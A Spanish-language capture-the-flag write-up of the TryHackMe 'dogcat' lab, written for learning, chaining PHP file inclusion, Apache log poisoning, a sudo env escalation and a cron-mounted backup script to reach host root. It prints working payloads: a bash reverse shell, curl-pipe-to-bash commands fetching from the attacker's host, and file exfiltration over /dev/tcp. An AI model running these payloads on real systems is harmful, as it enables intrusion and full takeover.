TryHackMe - dogcat
Creado
Entorno Linux nivel medio. Inclusión de archivos más envenenamiento de logs para rce, jugueteo con entornos y monturas indispuestas.

💥 Laboratorio creado por jammy.
TL;DR (Spanish writeup)
Saltando saltando voy…
Una web nos mostrará una galería con perritos y gatitos, ahondando encontraremos una vulnerabilidad para saltar entre directorios, lo que nos permitirá leer archivos del sistema (pero de forma muy limita). Apoyados en wrappers ampliaremos el ataque para entender la lógica detrás del sitio web y aprovechar el uso de parámetros no sanitizados para lograr una lectura y renderización completa de los archivos (LFI). Mediante el LFI encontraremos un envenenamiento de logs, lo usaremos para obtener una shell como el usuario www-data en el contenedor.
Internamente, nos convertiremos en root del contenedor jugando con las variables de entorno mediante el comando env.
Encontraremos archivos de backup que permitirán conocer como fue creado y configurado el contenedor, con base en eso notaremos que una carpeta del contenedor es realmente una montura, tomaremos esto y lo convertiremos en nuestro portal para intercambiar información entre el contenedor y el host. Mediante una tarea cron y la montura lograremos ejecutar comandos remotamente en el host como el usuario root.
…
La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?
Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3
…
2 Katharsis 0 1 7
…
Reconocimiento #
Empezamos descubriendo que puertos (servicios) tiene expuestos la máquina a vulnerar, para ello nos podemos apoyar de la herramienta nmap:
nmap -p- --open -v 10.49.149.159 -oA tcp-all-thm-dogcat
| Parámetro | Descripción |
|---|---|
| -p- | Escanea todos los 65535 puertos |
| –open | Devuelve solo los puertos que estén abiertos |
| -v | Permite ver en consola lo que va encontrando |
| -oA | Guarda el output en diferentes formatos, entre ellos uno “grepeable”. Lo usaremos junto a la función extractPorts de S4vitar para copiar los puertos en la clipboard rápidamente |
El escaneo nos muestra:
| Puerto | Descripción |
|---|---|
| 22 | SSH: Servicio que permite la obtención de una terminal de forma segura |
| 80 | HTTP: Servicio para interactuar con un servidor web |
Usando la función
extractPorts(referenciada antes) podemos tener rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios puertos evitamos tener que escribirlos uno a uno:
extractPorts tcp-all-thm-dogcat.gnmap
Listo, ya que tenemos los puertos, seguimos apoyados de nmap. Le pedimos que nos intente descubrir el software asociado al servicio y además que ejecute algunos scripts que el tiene guardados, a ver si encuentra algo más para nosotros:
nmap -sCV -p 22,80 10.49.149.159 -oA tcp-one-thm-docat
| Parámetro | Descripción |
|---|---|
| -p | Indicamos a qué puertos queremos realizar el escaneo |
| -sC | Ejecuta scripts predefinidos contra cada servicio |
| -sV | Intenta extraer la versión del servicio |
Descubrimos:
| Puerto | Servicio | Versión |
|---|---|---|
| 22 | SSH | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80 | HTTP | Apache httpd 2.4.38 ((Debian)) |
Info que nos guardamos y continuamos.
Enumeración #
Revisemos el servicio web inicialmente.
Servicio en el puerto 80 📌

Al parecer es una galería donde vemos perros y gatos, si damos clic en algún botón, efectivamente vemos perros y gatos:



En la URL vemos el uso del parámetro view para indicar si se quiere visualizar un cat o un dog. También vemos la carpeta dogs que es donde se alojan las imágenes de perros a cargar…
Interceptamos la petición y obtenemos:

Si en lugar de dog enviamos doga (o cualquier dato distinto a cat y dog) vemos:

Ayyyyy, se está buscando el archivo doga.php y como claramente no existe, se generan errores que no están sanitizados. Así mismo vemos la ruta interna donde está alojado el proyecto (/var/www/html/).
Eso quiere decir que el valor de view es concatenado a la extensión .php, formando así el archivo a cargar…
Ya esto está como raro… Lo primero que se me viene a la mente es un salto de directorios (Directory Traversal) y si todo sale bien (y es necesario), una inclusión de archivos local y/o remota (LFI/RFI) (que incluso podría convertirse en ejecución de código :o)
La idea con este ataque es saltar desde el directorio en el que estamos para acceder a otros directorios/archivos del sistema. O sea, en lugar de leer dog.php o cat.php, leer por ejemplo el archivo de contraseñas /etc/passwd :P
…
Conocimos que el proyecto se aloja en /var/www/html/, con lo cual el archivo dog.php está en la ruta /var/www/html/dog.php, probemos si al salirnos de /html y volviendo a entrar (/var/www/html/../html/dog.php) continuamos obteniendo el contenido de dog.php, si sí, podemos direccionar nuestros pensamientos en el salto de directorios y lectura de otros archivos del sistema.

Epale, lo haceeee, exploremos…
Explotación #
Salto entre directorios (Directory Traversal) 📌
- Path traversal
- PHP Include And Post Exploitation
- Preventing Directory Traversal Attacks: Techniques and Tips for Secure File Access
- Lanz Blog - Salto entre directorios
Ya vimos que podemos jugar con los directorios para salir y entrar, así que probemos leyendo el archivo passwd, intentemos tanto saliéndonos completamente (hasta la raíz) o llamando el archivo por su ruta completa:

Error en el que solo acepta perros o gatos, ¿será que busca o dog o cat como parte del parámetro?:

SÍ, al parecer la lógica está buscando en el parámetro view la palabra dog (y cat) para devolver la información.
En este ataque hay oportunidades en las que se usa un null byte, el cual podemos implementar en nuestro ataque para hacer que el sitio web detecte algunos caracteres como “invisibles” o “vacíos” (con lo que podríamos enviar dog o cat y hacer que nos los procese), la cosa es que para la versión de PHP con la que está montado el sitio web (PHP/7.4.3), esta opción ya está parchada.
Los wrappers 📌
Un wrapper en PHP nos permite indicarle al servidor como queremos que manipule el Stream (la info con la que lidiamos).
Existen varios wrappers, para jugar con objetos comprimidos, para intervenir archivos del sistema o el que usaremos, para darle un formato distinto al output.
El wrapper php://filter nos permite leer el contenido de un archivo, le indicamos que lo queremos en formato base64 para que lo único que debamos hacer es convertir ese base64 en texto plano.
Así que probemos con cat.php, si lo llamamos sin el wrapper, se renderizará su contenido y veremos un gato, pero al usar el wrapper, deberíamos ver su código fuente:

Funciona, ahora decodeamos esa cadena de texto:

Una lógica sencilla para cargar de forma aleatoria una imagen de gato.
Intentemos llegar a index.php, que es el principal y donde ha de estar la lógica dura…
Recordemos que hay una restricción en la que si no encuentra dog o cat como parte del parámetro view, da error, para ello formamos el siguiente payload apoyados en la ruta /dogs o /cats que vimos hace un rato:
php://filter/convert.base64-encode/resource=/var/www/html/dogs/../index

SIRVEEEE!
echo PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9j3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5b2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKIAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg== | base64 -d > index.php
Este es el contenido del archivo index.php:

Realizando una revisión de código vemos cositas curiosas y entendemos el funcionamiento:
[...]
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
[...]
- Está usando también un parámetro llamado
ext, el cual si viene vacío asigna.php, si no, el valor que se indique. - Vemos que efectivamente busca o
dogocatcomo contenido en el parámetroview. - ¡Está concatenando los valores de
viewyexty el resultado es el que incluye como respuesta!
Upa upaa, como podemos controlar la extensión, vamos a lograr armar un payload para leer cualquier archivo del sistemaaaaaa!!!!
Por ejemplo:
view = /var/www/html/cats/../../../../../../..
ext = /etc/passwd
...
include /var/www/html/cats/../../../../../../../etc/passwd
/?view=/var/www/html/cats/../../../../../../..&ext=/etc/passwd
Al validaaaar:

Perfectooo, finalmente logramos leer el archivo passwd y tener control total sobre qué archivo leer.
…
Un enfoque común es leer archivos de configuración, archivos usados para la creación del servicio web y proyecto, archivos con contraseñas o de bases de datos, hay varias opciones.
Como aparte del salto entre directorios tenemos un LFI (ya que los archivos que leemos son renderizados), uno de los archivos que podemos intentar leer es el que guarda los logs de las peticiones que hacemos contra el servidor, en este caso nuestro servidor está montado en Apache, así que con una búsqueda rápida en internet, sabemos que el objeto se llama access.log (o el de los errores error.log) que puede estar en varias rutas del sistema.
¿Pero para qué ese archivo? Bueno, hay un ataque llamado envenenamiento de logs o inyección de logs, la idea es ensuciar los logs del servidor para junto al LFI, leer dicho archivo de logs y renderizarlo, como el sitio está ejecutando código PHP, si al leer un archivo, este tiene código PHP, no lo mostrará, sino que lo ejecutará :O Por lo que si fuimos lo suficientemente sucios, podemos lograr una ejecución remota de comandos mediante la inyección de logs usando código PHP :o
Log Poisoning 📌
Intentemos buscar el archivo a ver si existe en el sistema:
/var/log/apache2/access.log

Existe y nos dice mucho, en los logs se guarda la cabecera User-Agent, así que juguemos con ella para guardar algún código PHP, por ejemplo que se ejecute en el sistema el comando ls /:

Si ahora vamos al navegador (para que renderice el contenido del archivo) y leemos el objeto de logs:

Ay ay ayyyyy, efectivamente se renderiza el log! Como encuentra código PHP, el include (del archivo index.php) intenta y logra ejecutarlo!! Dando como resultado una ejecución remota de comandos :P :P
Log Poisoning - Shell 📌
Vamos a armar una técnica que me gusta mucho y es bien dinámica para la ejecución de comandos, primero revisamos si existe curl o wget:
[...]
User-Agent: ...8.0 siclaro <?php system('which curl');?>
[...]
En los logs vemos que existe curl, ahora creamos un archivo .sh con los comandos a ejecutar:
$ cat holasibuenas.sh
bash -c 'bash -i >& /dev/tcp/192.168.188.222/4460 0>&1'
Cuando el servidor llegue a nuestro archivo, le estaremos diciendo que envíe al puerto 4460 de la IP 192.168.188.222 una bash (shell/terminal), colocamos en escucha ese puerto:
$ nc -lvp 4460
listening on [any] 4460 ...
Levantamos un servidor web en la ruta donde tengamos nuestro archivo .sh:
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Finalmente, creamos nuestro header malicioso para que el servidor visite el archivo .sh y lo ejecute:
[...]
User-Agent: ...8.0 siclaro <?php system('curl http://192.168.188.222:8000/holasibuenas.sh|bash');?>
[...]
Al enviar la petición, nuestro puerto 4460 recibe saludos:

Tamos dentroooo!
Movimiento Lateral #
Docker:www-data -> Docker:root #
Revisando el entorno nos damos cuenta de que estamos en un contenedor de Docker.
Validando si tenemos algún permiso sobre otro usuario en el contenedor, encontramos:

Tenemos permiso de ejecutar como el usuario root (y sin contraseña) el comando /usr/bin/env, veamos que trata y si podemos aprovecharlo para convertirnos en root…
Este comando permite interactuar con las variables de entorno que existan en el sistema, lo que ayuda a configurar correctamente entornos antes de ejecutar acciones.
Algo que también permite es ejecutar una shell limpiando todas las variables actuales y creando un entorno limpio y nuevo, esto simplemente ejecutando:
env sh
env bash
Aprovechando el permiso que tenemos, enviemos ese comando y obtengamos una shell como el usuario root:

Listones, ya somos dueños del contenedor.
Escalada de privilegios #
Docker:root -> Host:root #
Cuando nos encontramos en un contenedor, sabemos que existe un host, o sea, un “algo” que está permitiendo que el contenedor sea ejecutado, y nuestro objetivo es llegar a ese “algo”, al host.
Hay muuuuchas maneras, buscar archivos con credenciales, buscar referencias de llaves privadas, quizá otros servicios internos conectados, escapes y otras variantes.
Al recorrer algunas rutas, encontramos dos archivos relacionados con backups en /opt:

Un comprimido y un script en bash, el script contiene:
root@5cbedd65e5fb:/opt/backups# cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
Realiza un comprimido con los archivos alojados en la ruta /root/container y los guarda en el archivo /root/container/backup/backup.tar.
Si nos fijamos, parece que el script del backup es ejecutado cada minuto, ya que el archivo backup.tar se actualizó mientras estuvimos probando (según la fecha y hora):

Tengamos esto en mente por si algo…
El contenido del comprimido lo podemos ver fácilmente desde nuestra máquina:
# atacante
$ nc -lvp 4450 > backup.tar
# victima
cat backup.tar > /dev/tcp/192.168.188.222/4450
Descomprimimos y listamos:

Varios objetos, tenemos backup.sh, launch.sh y Dockerfile así como interesantes.
Dockerfile tiene la configuración interna del contenedor, rutas, usuarios, el tema de sudo que ya explotamos:

backup.sh tiene el mismo contenido que el visto anteriormente.
Y launch.sh maneja la creación del contenedor:

Jmmmm, encontramos algo curioso y que relaciona rutas que ya vimos. Se está usando una montura para indicar que el contenido del host en la ruta /root/container/backup sea reflejado en la ruta del contenedor /opt/backups, o sea, que el contenido de las dos rutas siempre va a ser igual, si se modifica desde el host se verá en el contenedor y viceversa.
- Difference Between Binding Mounts And Volumes Persistent Data Docker Containers
- Volumes versus bind mounts
- Docker Docs: Bind mounts
Podemos llegar a confundir ese
-vovolumeque se ve a veces en Docker, básicamente unamonturacomparte una ruta existente del host con el contenedor y en unvolumenDocker se encarga de manejar dicha información para hacerla más portable. En términos de sencillez, la montura es más fácil de entender y manejar.
Montando problemas 📌
Lo que acabamos de obtener es muy valioso.
- Desde el contenedor tenemos acceso a la ruta
/opt/backups - En esa ruta está el archivo
backup.sh - Intuimos que ese archivo
.shse está ejecutando cada minuto (por lo que vimos que el archivo.tarse actualizó) - La información de la carpeta del contenedor se verá reflejada en la carpeta del host
Y como somos root en el contenedor, tenemos permiso de hacer cualquier cosa con él, por lo queeee, probemos a modificar el archivo backup.sh con código malicioso para que (si se cumple lo que dijimos) al ejecutarse el “backup” también se ejecuten nuestras instrucciones:
root@5cbedd65e5fb:/opt/backups# echo "curl http://192.168.188.222:8000/holasibuenas.sh|bash" >> backup.sh
Usamos la misma tecnica que con el
LFI2RCE
root@5cbedd65e5fb:/opt/backups# cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
curl http://192.168.188.222:8000/holasibuenas.sh|bash
El archivo se modificó, ahora solo queda volver a levantar el puerto 8000 donde tengamos el archivo holasibuenas.sh y dentro colocar la reverse shell apuntando a un puerto, en mi caso al 4460 (y ponerlo en escucha también):
Esperamos (como que no funcionó :P)…

AYYYYYYYYYYY, se logróóóó, sospechas confirmadas y estamos ahora si en el host y como el usuario root!!!
Validando las tareas programadas (cronjobs) corroboramos que cada minuto se está ejecutando el script backup.sh:

Post-Explotación #
Flags 📌
THM{esta_no_es_1F9C8YJgI3RRK1OKSvfqJ}
THM{esta_no_es_1F9C8YJgI3RRK1OKSvf2J}
THM{esta_no_es_1F9C8YJgI3RRK3OKSvf2J}
THM{esta_no_es_1F9C8YJgI4RRK3OKSvf2J}
…
Una máquina que me gustó mucho, varios temas y mucha explotación, linda linda.
El tema de jugar con el LFI para sumarlo a los logs y finalmente obtener RCE, top. Así mismo el concepto de las monturas me pareció divertido y valioso.
Bueno, eso ha sido por hoy, muchas gracias por pasarse y nos estaremos encontrando en otros relatos salvajes :P
A seguir rompiendo de todooooooo!!
Comments